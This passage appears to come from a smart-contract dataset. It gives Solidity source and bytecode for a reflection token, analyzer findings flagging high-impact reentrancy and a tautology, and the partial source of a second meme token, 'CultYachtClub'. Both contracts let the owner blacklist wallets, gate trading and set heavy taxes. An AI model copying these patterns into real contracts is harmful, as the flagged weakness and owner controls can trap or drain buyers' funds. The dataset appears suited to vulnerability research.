emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "Max Transaction Limit");
require(!bots[from] && !bots[to], "Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function startTrading() public onlyOwner {
tradingOpen = true;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610551578063dd62ed3e14610571578063ea1644d5146105b7578063f2fde38b146105d757600080fd5b8063a2a957bb146104cc578063a9059cbb146104ec578063bfd792841461050c578063c3c8cd801461053c57600080fd5b80638da5cb5b116100d15780638da5cb5b146104455780638f9a55c01461046357806395d89b411461047957806398a5c315146104ac57600080fd5b806374010ece146103e25780637d1db4a5146104025780637f2feddc1461041857600080fd5b80632fd689e31161016f5780636d8aa8f81161013e5780636d8aa8f8146103785780636fc3eaec1461039857806370a08231146103ad578063715018a6146103cd57600080fd5b80632fd689e314610306578063313ce5671461031c57806349bd5a5e146103385780636b9990531461035857600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d1578063293230b8146102f157600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611ac8565b6105f7565b005b34801561020a57600080fd5b5060408051808201909152600a8152695477656574486170707960b01b60208201525b60405161023a9190611b8d565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611be2565b610696565b604051901515815260200161023a565b34801561027f57600080fd5b50601454610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b50683635c9adc5dea000005b60405190815260200161023a565b3480156102dd57600080fd5b506102636102ec366004611c0e565b6106ad565b3480156102fd57600080fd5b506101fc610716565b34801561031257600080fd5b506102c360185481565b34801561032857600080fd5b506040516009815260200161023a565b34801561034457600080fd5b50601554610293906001600160a01b031681565b34801561036457600080fd5b506101fc610373366004611c4f565b610755565b34801561038457600080fd5b506101fc610393366004611c7c565b6107a0565b3480156103a457600080fd5b506101fc6107e8565b3480156103b957600080fd5b506102c36103c8366004611c4f565b610833565b3480156103d957600080fd5b506101fc610855565b3480156103ee57600080fd5b506101fc6103fd366004611c97565b6108c9565b34801561040e57600080fd5b506102c360165481565b34801561042457600080fd5b506102c3610433366004611c4f565b60116020526000908152604090205481565b34801561045157600080fd5b506000546001600160a01b0316610293565b34801561046f57600080fd5b506102c360175481565b34801561048557600080fd5b5060408051808201909152600a8152695457454554484150505960b01b602082015261022d565b3480156104b857600080fd5b506101fc6104c7366004611c97565b610908565b3480156104d857600080fd5b506101fc6104e7366004611cb0565b610937565b3480156104f857600080fd5b50610263610507366004611be2565b610aed565b34801561051857600080fd5b50610263610527366004611c4f565b60106020526000908152604090205460ff1681565b34801561054857600080fd5b506101fc610afa565b34801561055d57600080fd5b506101fc61056c366004611ce2565b610b4e565b34801561057d57600080fd5b506102c361058c366004611d66565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c357600080fd5b506101fc6105d2366004611c97565b610bef565b3480156105e357600080fd5b506101fc6105f2366004611c4f565b610c1e565b6000546001600160a01b0316331461062a5760405162461bcd60e51b815260040161062190611d9f565b60405180910390fd5b60005b81518110156106925760016010600084848151811061064e5761064e611dd4565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068a81611e00565b91505061062d565b5050565b60006106a3338484610d08565b5060015b92915050565b60006106ba848484610e2c565b61070c843361070785604051806060016040528060288152602001611f1a602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611354565b610d08565b5060019392505050565b6000546001600160a01b031633146107405760405162461bcd60e51b815260040161062190611d9f565b6015805460ff60a01b1916600160a01b179055565b6000546001600160a01b0316331461077f5760405162461bcd60e51b815260040161062190611d9f565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107ca5760405162461bcd60e51b815260040161062190611d9f565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061081d57506013546001600160a01b0316336001600160a01b0316145b61082657600080fd5b476108308161138e565b50565b6001600160a01b0381166000908152600260205260408120546106a7906113c8565b6000546001600160a01b0316331461087f5760405162461bcd60e51b815260040161062190611d9f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108f35760405162461bcd60e51b815260040161062190611d9f565b674563918244f4000081111561083057601655565b6000546001600160a01b031633146109325760405162461bcd60e51b815260040161062190611d9f565b601855565b6000546001600160a01b031633146109615760405162461bcd60e51b815260040161062190611d9f565b60048411156109c05760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b6064820152608401610621565b6014821115610a1c5760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642032604482015261302560f01b6064820152608401610621565b6004831115610a7c5760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b6064820152608401610621565b6014811115610ad95760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526232302560e81b6064820152608401610621565b600893909355600a91909155600955600b55565b60006106a3338484610e2c565b6012546001600160a01b0316336001600160a01b03161480610b2f57506013546001600160a01b0316336001600160a01b0316145b610b3857600080fd5b6000610b4330610833565b90506108308161144c565b6000546001600160a01b03163314610b785760405162461bcd60e51b815260040161062190611d9f565b60005b82811015610be9578160056000868685818110610b9a57610b9a611dd4565b9050602002016020810190610baf9190611c4f565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610be181611e00565b915050610b7b565b50505050565b6000546001600160a01b03163314610c195760405162461bcd60e51b815260040161062190611d9f565b601755565b6000546001600160a01b03163314610c485760405162461bcd60e51b815260040161062190611d9f565b6001600160a01b038116610cad5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610621565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d6a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610621565b6001600160a01b038216610dcb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610621565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e905760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610621565b6001600160a01b038216610ef25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610621565b60008111610f545760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610621565b6000546001600160a01b03848116911614801590610f8057506000546001600160a01b03838116911614155b1561124d57601554600160a01b900460ff16611019576000546001600160a01b038481169116146110195760405162461bcd60e51b815260206004820152603860248201527f54686973206163636f756e742063616e6e6f742073656e6420746f6b656e732060448201527f756e74696c2074726164696e6720697320656e61626c656400000000000000006064820152608401610621565b6016548111156110635760405162461bcd60e51b815260206004820152601560248201527413585e08151c985b9cd858dd1a5bdb88131a5b5a5d605a1b6044820152606401610621565b6001600160a01b03831660009081526010602052604090205460ff161580156110a557506001600160a01b03821660009081526010602052604090205460ff16155b6110f15760405162461bcd60e51b815260206004820152601c60248201527f596f7572206163636f756e7420697320626c61636b6c697374656421000000006044820152606401610621565b6015546001600160a01b03838116911614611176576017548161111384610833565b61111d9190611e1b565b106111765760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610621565b600061118130610833565b60185460165491925082101590821061119a5760165491505b8080156111b15750601554600160a81b900460ff16155b80156111cb57506015546001600160a01b03868116911614155b80156111e05750601554600160b01b900460ff165b801561120557506001600160a01b03851660009081526005602052604090205460ff16155b801561122a57506001600160a01b03841660009081526005602052604090205460ff16155b1561124a576112388261144c565b478015611248576112484761138e565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061128f57506001600160a01b03831660009081526005602052604090205460ff165b806112c157506015546001600160a01b038581169116148015906112c157506015546001600160a01b03848116911614155b156112ce57506000611348565b6015546001600160a01b0385811691161480156112f957506014546001600160a01b03848116911614155b1561130b57600854600c55600954600d555b6015546001600160a01b03848116911614801561133657506014546001600160a01b03858116911614155b1561134857600a54600c55600b54600d555b610be9848484846115d5565b600081848411156113785760405162461bcd60e51b81526004016106219190611b8d565b5060006113858486611e33565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610692573d6000803e3d6000fd5b600060065482111561142f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610621565b6000611439611603565b90506114458382611626565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061149457611494611dd4565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114e857600080fd5b505afa1580156114fc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115209190611e4a565b8160018151811061153357611533611dd4565b6001600160a01b0392831660209182029290920101526014546115599130911684610d08565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611592908590600090869030904290600401611e67565b600060405180830381600087803b1580156115ac57600080fd5b505af11580156115c0573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806115e2576115e2611668565b6115ed848484611696565b80610be957610be9600e54600c55600f54600d55565b600080600061161061178d565b909250905061161f8282611626565b9250505090565b600061144583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117cf565b600c541580156116785750600d54155b1561167f57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116a8876117fd565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116da908761185a565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611709908661189c565b6001600160a01b03891660009081526002602052604090205561172b816118fb565b6117358483611945565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161177a91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006117a98282611626565b8210156117c657505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836117f05760405162461bcd60e51b81526004016106219190611b8d565b5060006113858486611ed8565b600080600080600080600080600061181a8a600c54600d54611969565b925092509250600061182a611603565b9050600080600061183d8e8787876119be565b919e509c509a509598509396509194505050505091939550919395565b600061144583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611354565b6000806118a98385611e1b565b9050838110156114455760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610621565b6000611905611603565b905060006119138383611a0e565b30600090815260026020526040902054909150611930908261189c565b30600090815260026020526040902055505050565b600654611952908361185a565b600655600754611962908261189c565b6007555050565b6000808080611983606461197d8989611a0e565b90611626565b90506000611996606461197d8a89611a0e565b905060006119ae826119a88b8661185a565b9061185a565b9992985090965090945050505050565b60008080806119cd8886611a0e565b905060006119db8887611a0e565b905060006119e98888611a0e565b905060006119fb826119a8868661185a565b939b939a50919850919650505050505050565b600082611a1d575060006106a7565b6000611a298385611efa565b905082611a368583611ed8565b146114455760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610621565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461083057600080fd5b8035611ac381611aa3565b919050565b60006020808385031215611adb57600080fd5b823567ffffffffffffffff80821115611af357600080fd5b818501915085601f830112611b0757600080fd5b813581811115611b1957611b19611a8d565b8060051b604051601f19603f83011681018181108582111715611b3e57611b3e611a8d565b604052918252848201925083810185019188831115611b5c57600080fd5b938501935b82851015611b8157611b7285611ab8565b84529385019392850192611b61565b98975050505050505050565b600060208083528351808285015260005b81811015611bba57858101830151858201604001528201611b9e565b81811115611bcc576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611bf557600080fd5b8235611c0081611aa3565b946020939093013593505050565b600080600060608486031215611c2357600080fd5b8335611c2e81611aa3565b92506020840135611c3e81611aa3565b929592945050506040919091013590565b600060208284031215611c6157600080fd5b813561144581611aa3565b80358015158114611ac357600080fd5b600060208284031215611c8e57600080fd5b61144582611c6c565b600060208284031215611ca957600080fd5b5035919050565b60008060008060808587031215611cc657600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611cf757600080fd5b833567ffffffffffffffff80821115611d0f57600080fd5b818601915086601f830112611d2357600080fd5b813581811115611d3257600080fd5b8760208260051b8501011115611d4757600080fd5b602092830195509350611d5d9186019050611c6c565b90509250925092565b60008060408385031215611d7957600080fd5b8235611d8481611aa3565b91506020830135611d9481611aa3565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e1457611e14611dea565b5060010190565b60008219821115611e2e57611e2e611dea565b500190565b600082821015611e4557611e45611dea565b500390565b600060208284031215611e5c57600080fd5b815161144581611aa3565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611eb75784516001600160a01b031683529383019391830191600101611e92565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611ef557634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f1457611f14611dea565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f32936cd91ac291fa748b7d2f102c3605ec06d9c164d6732cf28fc953689a0d664736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 10,143 |
0x30c2115dc008a3a7a742b9056735fe4f98afb187 | /**
*Submitted for verification at Etherscan.io on 2022-04-04
*/
/**
Welcome to CultYachtClub
CYC is a community driven project by the Cult Holders.
Buy Tax : 3%
Sell Tax : 10%
Ownership will be renounced after the launch.
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CultYachtClub is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"CultYachtClub"; ////
string public constant symbol = unicode"CYC"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeAddress1;
address payable public _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 3;
uint public _sellFee = 10;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
